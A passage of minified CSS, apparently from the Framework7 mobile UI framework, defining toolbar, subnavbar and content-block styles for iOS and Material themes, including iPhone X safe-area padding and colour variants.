.navbar+.toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-136px,0);transform:translate3d(0,-136px,0)}}.md .messagebar~* .page-content,.md .messagebar~.page-content,.md .toolbar-bottom-md~* .page-content,.md .toolbar-bottom-md~.page-content{padding-bottom:48px}.md .toolbar-bottom-md.tabbar-labels~* .page-content,.md .toolbar-bottom-md.tabbar-labels~.page-content{padding-bottom:56px}.md .navbar-transitioning+.toolbar,.md .toolbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.md .color-theme-red .toolbar:not(.messagebar),.md .color-theme-red.toolbar:not(.messagebar){background:#f44336}.md .color-theme-green .toolbar:not(.messagebar),.md .color-theme-green.toolbar:not(.messagebar){background:#4caf50}.md .color-theme-blue .toolbar:not(.messagebar),.md .color-theme-blue.toolbar:not(.messagebar){background:#2196f3}.md .color-theme-pink .toolbar:not(.messagebar),.md .color-theme-pink.toolbar:not(.messagebar){background:#e91e63}.md .color-theme-yellow .toolbar:not(.messagebar),.md .color-theme-yellow.toolbar:not(.messagebar){background:#ffeb3b}.md .color-theme-orange .toolbar:not(.messagebar),.md .color-theme-orange.toolbar:not(.messagebar){background:#ff9800}.md .color-theme-gray .toolbar:not(.messagebar),.md .color-theme-gray.toolbar:not(.messagebar){background:#9e9e9e}.md .color-theme-white .toolbar:not(.messagebar),.md .color-theme-white.toolbar:not(.messagebar){background:#fff}.md .color-theme-black .toolbar:not(.messagebar),.md .color-theme-black.toolbar:not(.messagebar){background:#000}.md .toolbar:not(.messagebar).color-red{background:#f44336}.md .toolbar:not(.messagebar).color-green{background:#4caf50}.md .toolbar:not(.messagebar).color-blue{background:#2196f3}.md .toolbar:not(.messagebar).color-pink{background:#e91e63}.md .toolbar:not(.messagebar).color-yellow{background:#ffeb3b}.md .toolbar:not(.messagebar).color-orange{background:#ff9800}.md .toolbar:not(.messagebar).color-gray{background:#9e9e9e}.md .toolbar:not(.messagebar).color-white{background:#fff}.md .toolbar:not(.messagebar).color-black{background:#000}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md),.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md){height:calc(48px + constant(safe-area-inset-top));height:calc(48px + env(safe-area-inset-top))}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner{height:auto}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner{bottom:0;top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}.md.device-iphone-x .login-screen>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .page>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .panel>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .popup>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .view>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels,.md.device-iphone-x .views>.toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels{height:calc(72px + constant(safe-area-inset-top));height:calc(72px + env(safe-area-inset-top))}.md.device-iphone-x .login-screen>.toolbar-bottom-md,.md.device-iphone-x .page>.toolbar-bottom-md,.md.device-iphone-x .panel>.toolbar-bottom-md,.md.device-iphone-x .popup>.toolbar-bottom-md,.md.device-iphone-x .view>.toolbar-bottom-md,.md.device-iphone-x .views>.toolbar-bottom-md{height:calc(48px + constant(safe-area-inset-bottom));height:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .login-screen>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .page>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .panel>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .popup>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .view>.toolbar-bottom-md .toolbar-inner,.md.device-iphone-x .views>.toolbar-bottom-md .toolbar-inner{height:auto;top:0;bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.md.device-iphone-x .login-screen>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .page>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .panel>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .popup>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .view>.toolbar-bottom-md.tabbar-labels,.md.device-iphone-x .views>.toolbar-bottom-md.tabbar-labels{height:calc(56px + constant(safe-area-inset-bottom));height:calc(56px + env(safe-area-inset-bottom))}.md.device-iphone-x .messagebar~* .page-content,.md.device-iphone-x .messagebar~.page-content,.md.device-iphone-x .toolbar-bottom-md~* .page-content,.md.device-iphone-x .toolbar-bottom-md~.page-content{padding-bottom:calc(48px + constant(safe-area-inset-bottom));padding-bottom:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .toolbar-bottom-md.tabbar-labels~* .page-content,.md.device-iphone-x .toolbar-bottom-md.tabbar-labels~.page-content{padding-bottom:calc(56px + constant(safe-area-inset-bottom));padding-bottom:calc(56px + env(safe-area-inset-bottom))}@media (orientation:landscape){.md.device-iphone-x .ios-edges .toolbar-inner,.md.device-iphone-x .ios-left-edge .toolbar-inner,.md.device-iphone-x .panel-left .toolbar-inner,.md.device-iphone-x .popup .toolbar-inner,.md.device-iphone-x .sheet-modal .toolbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .toolbar-inner,.md.device-iphone-x .ios-right-edge .toolbar-inner,.md.device-iphone-x .panel-right .toolbar-inner,.md.device-iphone-x .popup .toolbar-inner,.md.device-iphone-x .sheet-modal .toolbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.subnavbar{width:100%;position:absolute;left:0;top:0;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .title{position:relative;overflow:hidden;text-overflow:ellpsis;white-space:nowrap}.subnavbar .left,.subnavbar .right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .right:first-child{position:absolute;height:100%}.subnavbar-inner{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;overflow:hidden}.subnavbar-inner.stacked{display:none}.navbar .subnavbar{top:100%}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.ios .subnavbar{height:45px;margin-top:-1px;padding-top:1px;background:#f7f7f8}.ios .subnavbar.no-hairline:after{display:none!important}.ios .subnavbar .title{font-weight:700;line-height:1;overflow:visible;font-size:34px;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;letter-spacing:-.03em}.ios .subnavbar .title{margin-left:7px}.ios .subnavbar .left a+a,.ios .subnavbar .right a+a{margin-left:15px}.ios .subnavbar .left{margin-right:10px}.ios .subnavbar .right{margin-left:10px}.ios .subnavbar .right:first-child{right:8px}.ios .subnavbar a.link{line-height:44px;height:44px;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .subnavbar a.icon-only{min-width:44px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;margin:0}.ios .subnavbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .subnavbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .subnavbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .subnavbar-inner{padding:0 8px}.ios .navbar~.page-with-subnavbar:not(.no-navbar) .subnavbar,.ios .navbar~.subnavbar{top:44px}.ios .page-with-subnavbar .page-content,.ios .subnavbar~* .page-content,.ios .subnavbar~.page-content{padding-top:44px}.ios .navbar~.page-with-subnavbar:not(.no-navbar) .page-content,.ios .navbar~:not(.no-navbar) .subnavbar~* .page-content,.ios .navbar~:not(.no-navbar) .subnavbar~.page-content,.ios .page-with-subnavbar .navbar~.page-content{padding-top:88px}.ios .theme-dark .subnavbar,.subnavbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .subnavbar:after,.subnavbar.ios .theme-dark:after{background-color:#282829}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .subnavbar-inner,.ios.device-iphone-x .ios-left-edge .subnavbar-inner,.ios.device-iphone-x .panel-left .subnavbar-inner,.ios.device-iphone-x .popup .subnavbar-inner,.ios.device-iphone-x .sheet-modal .subnavbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .subnavbar-inner,.ios.device-iphone-x .ios-right-edge .subnavbar-inner,.ios.device-iphone-x .panel-right .subnavbar-inner,.ios.device-iphone-x .popup .subnavbar-inner,.ios.device-iphone-x .sheet-modal .subnavbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.md .subnavbar{height:48px;background:#2196f3;color:#fff}.md .subnavbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .subnavbar.no-shadow:after{display:none}.md .subnavbar .title{margin:0 16px;font-size:20px;line-height:48px;display:inline-block;text-align:left;font-weight:500}.md .subnavbar .title:first-child{margin-left:56px}.md .subnavbar .right{margin-left:auto}.md .subnavbar .right:first-child{right:16px}.md .subnavbar a{color:inherit}.md .subnavbar a.link{line-height:48px;height:48px;min-width:48px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px}.md .subnavbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .subnavbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .subnavbar a.icon-only{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;min-width:0}.md .subnavbar-inner{padding:0 16px}.md .subnavbar-inner>a.link:first-child{margin-left:-16px}.md .subnavbar-inner>a.link:last-child{margin-right:-16px}.md .page-with-subnavbar .page-content,.md .subnavbar~* .page-content,.md .subnavbar~.page-content{padding-top:48px}.md .navbar~.subnavbar~* .page-content,.md .navbar~.subnavbar~.page-content,.md .page-with-subnavbar .navbar~* .page-content,.md .page-with-subnavbar .navbar~.page-content{padding-top:104px}@media (min-width:768px){.md .navbar~.subnavbar~* .page-content,.md .navbar~.subnavbar~.page-content,.md .page-with-subnavbar .navbar~* .page-content,.md .page-with-subnavbar .navbar~.page-content{padding-top:112px}}.md .navbar~* .subnavbar,.md .navbar~.subnavbar,.md .page-with-subnavbar .navbar~* .subnavbar,.md .page-with-subnavbar .navbar~.subnavbar{top:56px}@media (min-width:768px){.md .navbar~* .subnavbar,.md .navbar~.subnavbar,.md .page-with-subnavbar .navbar~* .subnavbar,.md .page-with-subnavbar .navbar~.subnavbar{top:64px}}.md .color-theme-red .subnavbar,.md .color-theme-red.subnavbar{background:#f44336}.md .color-theme-green .subnavbar,.md .color-theme-green.subnavbar{background:#4caf50}.md .color-theme-blue .subnavbar,.md .color-theme-blue.subnavbar{background:#2196f3}.md .color-theme-pink .subnavbar,.md .color-theme-pink.subnavbar{background:#e91e63}.md .color-theme-yellow .subnavbar,.md .color-theme-yellow.subnavbar{background:#ffeb3b}.md .color-theme-orange .subnavbar,.md .color-theme-orange.subnavbar{background:#ff9800}.md .color-theme-gray .subnavbar,.md .color-theme-gray.subnavbar{background:#9e9e9e}.md .color-theme-white .subnavbar,.md .color-theme-white.subnavbar{background:#fff}.md .color-theme-black .subnavbar,.md .color-theme-black.subnavbar{background:#000}.md .subnavbar.color-red{background:#f44336}.md .subnavbar.color-green{background:#4caf50}.md .subnavbar.color-blue{background:#2196f3}.md .subnavbar.color-pink{background:#e91e63}.md .subnavbar.color-yellow{background:#ffeb3b}.md .subnavbar.color-orange{background:#ff9800}.md .subnavbar.color-gray{background:#9e9e9e}.md .subnavbar.color-white{background:#fff}.md .subnavbar.color-black{background:#000}@media (orientation:landscape){.md.device-iphone-x .ios-edges .subnavbar-inner,.md.device-iphone-x .ios-left-edge .subnavbar-inner,.md.device-iphone-x .panel-left .subnavbar-inner,.md.device-iphone-x .popup .subnavbar-inner,.md.device-iphone-x .sheet-modal .subnavbar-inner{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .subnavbar-inner,.md.device-iphone-x .ios-right-edge .subnavbar-inner,.md.device-iphone-x .panel-right .subnavbar-inner,.md.device-iphone-x .popup .subnavbar-inner,.md.device-iphone-x .sheet-modal .subnavbar-inner{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}}.block{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;z-index:1}.block.no-hairlines ul:before,.block.no-hairlines:before,.ios .block.no-hairlines-ios ul:before,.ios .block.no-hairlines-ios:before,.md .block.no-hairlines-md ul:before,.md .block.no-hairlines-md:before{display:none!important}.block.no-hairlines ul:after,.block.no-hairlines:after,.ios .block.no-hairlines-ios ul:after,.ios .block.no-hairlines-ios:after,.md .block.no-hairlines-md ul:after,.md .block.no-hairlines-md:after{display:none!important}.block.no-hairline-top ul:before,.block.no-hairline-top:before,.ios .block.no-hairline-top-ios ul:before,.ios .block.no-hairline-top-ios:before,.md .block.no-hairline-top-md ul:before,.md .block.no-hairline-top-md:before{display:none!important}.block.no-hairline-bottom ul:after,.block.no-hairline-bottom:after,.ios .block.no-hairline-bottom-ios ul:after,.ios .block.no-hairline-bottom-ios:after,.md .block.no-hairline-bottom-md ul:after,.md .block.no-hairline-bottom-md:after{display:none!important}.block>h1:first-child,.block>h2:first-child,.block>h3:first-child,.block>h4:first-child,.block>p:first-child{margin-top:0}.block>h1:last-child,.block>h2:last-child,.block>h3:last-child,.block>h4:last-child,.block>p:last-child{margin-bottom:0}.block-title{position:relative;overflow:hidden;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;line-height:1}.block-strong.inset{border-radius:7px}.block-strong.inset:before{display:none!important}.block-strong.inset:after{display:none!important}.block-footer,.block-header{font-size:14px}.block-footer h1:first-child,.block-footer h2:first-child,.block-footer h3:first-child,.block-footer h4:first-child,.block-footer p:first-child,.block-footer ul:first-child,.block-header h1:first-child,.block-header h2:first-child,.block-header h3:first-child,.block-header h4:first-child,.block-header p:first-child,.block-header ul:first-child{margin-top:0}.block-footer h1:last-child,.block-footer h2:last-child,.block-footer h3:last-child,.block-footer h4:last-child,.block-footer p:last-child,.block-footer ul:last-child,.block-header h1:last-child,.block-header h2:last-child,.block-header h3:last-child,.block-header h4:last-child,.block-header p:last-child,.block-header ul:last-child{margin-bottom:0}.block-footer h1:first-child:last-child,.block-footer h2:first-child:last-child,.block-footer h3:first-child:last-child,.block-footer h4:first-child:last-child,.block-footer p:first-child:last-child,.block-footer ul:first-child:last-child,.block-header h1:first-child:last-child,.block-header h2:first-child:last-child,.block-header h3:first-child:last-child,.block-header h4:first-child:last-child,.block-header p:first-child:last-child,.block-header ul:first-child:last-child{margin-top:0;margin-bottom:0}.block-header{margin-bottom:10px}.block-footer{margin-top:10px}@media (min-width:768px){.block-strong.tablet-inset:before{display:none!important}.block-strong.tablet-inset:after{display:none!important}}.ios .block{margin:35px 0;padding:0 15px;color:#6d6d72}.ios .block-title{text-transform:uppercase;color:#6d6d72;margin:35px 15px 10px;line-height:17px}.ios .block-title+.block,.ios .block-title+.block-header,.ios .block-title+.card,.ios .block-title+.list,.ios .block-title+.timeline{margin-top:10px}.ios .block-strong{color:#000;background:#fff;padding:15px 15px}.ios .block-strong:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .block-strong:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .block-strong:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .block-strong:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .block-strong:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .block-strong:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .block.inset{margin-left:15px;margin-right:15px}.ios .block-strong-inset{border-radius:7px}.ios .block-footer,.ios .block-header{padding:0 15px;color:#8f8f94}.ios .block .block-footer,.ios .block .block-header{padding:0!important}.ios .block-header{margin-top:35px}.ios .block-header+.block,.ios .block-header+.card,.ios .block-header+.list,.ios .block-header+.timeline{margin-top:10px}.ios .block-footer{margin-bottom:35px}.ios .block .block-header,.ios .card .block-header,.ios .list .block-header,.ios .timeline .block-header{margin-top:0}.ios .block .block-footer,.ios .card .block-footer,.ios .list .block-footer,.ios .timeline .block-footer{margin-bottom:0}.ios .block+.block-footer,.ios .card+.block-footer,.ios .list+.block-footer,.ios .timeline+.block-footer{margin-top:-25px}.ios .block+.block-footer{margin-top:-25px;margin-bottom:35px}@media (min-width:768px){.ios .block.tablet-inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .block-strong.tablet-inset{border-radius:7px}}.ios .theme-dark .block-footer,.ios .theme-dark .block-header,.ios .theme-dark .block-title{color:#8e8e93}.ios .theme-dark .block{color:#8e8e93}.ios .theme-dark .block-strong,.ios .theme-dark.block-strong{background-color:#1c1c1d;color:#fff}.ios .theme-dark .block-strong:before,.ios .theme-dark.block-strong:before{background-color:#282829}.ios .theme-dark .block-strong:after,.ios .theme-dark.block-strong:after{background-color:#282829}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .block-footer,.ios.device-iphone-x .ios-edges .block-header,.ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block-footer,.ios.device-iphone-x .ios-left-edge .block-header,.ios.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block-footer,.ios.device-iphone-x .panel-left .block-header,.ios.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block-footer,.ios.device-iphone-x .popup .block-header,.ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block-footer,.ios.device-iphone-x .sheet-modal .block-header,.ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge){padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:0}.ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .block-footer,.ios.device-iphone-x .ios-edges .block-header,.ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block-footer,.ios.device-iphone-x .ios-right-edge .block-header,.ios.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block-footer,.ios.device-iphone-x .panel-right .block-header,.ios.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block-footer,.ios.device-iphone-x .popup .block-header,.ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block-footer,.ios.device-iphone-x .sheet-modal .block-header,.ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge){padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:0}.ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}.md .block{margin:32px 0;padding:0 16px}.md .block-title{color:rgba(0,0,0,.54);margin:32px 16px 16px;line-height:16px;font-weight:500}.md .block-title+.block,.md .block-title+.block-header,.md .block-title+.card,.md .block-title+.list,.md .block-title+.timeline{margin-top:0}.md .block-strong{padding:16px}.md .block-strong:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .block-strong:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .block-strong:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .block-strong:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .block-strong:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .block-strong:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .block.inset{margin-left:16px;margin-right:16px}.md 